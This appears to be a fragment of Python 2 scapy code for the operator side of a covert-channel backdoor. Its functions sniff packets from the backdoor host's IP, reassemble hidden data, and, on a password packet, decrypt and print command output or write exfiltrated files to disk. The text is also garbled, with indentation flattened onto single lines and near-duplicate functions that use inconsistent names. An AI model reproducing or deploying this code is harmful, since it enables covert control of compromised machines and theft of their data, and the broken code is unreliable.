def recvCommand(packet): global flag global Results if packet.haslayer(IP): if packet[IP].src == configfile.ip: dataReceived = helpers.parsePacket(packet) Results += (dataReceived) if packet.haslayer(Raw): if packet[Raw].load == configfile.password: flag = True decryptedData = encryption.decrypt(Results, configfile.masterkey) print decryptedData Results = ""
def recvFile(packet): flag = False global resultsForFiles if packet.haslayer(IP): if packet[IP].src == configfile.ip: dataReceived = helpers.parsePacket(packet) resultsForFiles += (dataReceived) if packet.haslayer(Raw): if packet[Raw].load == configfile.password: flag = True decryptedData = encryption.decrypt(resultsForFiles, configfile.masterkey) fileName, fileData = decryptedData.split("\0", 1) fileDescriptor = open(fileName, 'wb') fileDescriptor.write(fileData) resultsForFiles = ""
def recvCmd(packet): global results #check if the packet has IP layer if packet.haslayer(IP): #check if the packet has the same IP as the backdoor if packet[IP].src == configReader.destIP: #parse the packet and add them together dataReceived = helpers.parsePacket(packet) results += (dataReceived) print results #check packet for raw data if packet.haslayer(Raw): #if the data has the password at the end then execute decryption if packet[Raw].load == configReader.password: decryptedData = encryption.decryption(results) print decryptedData results = ""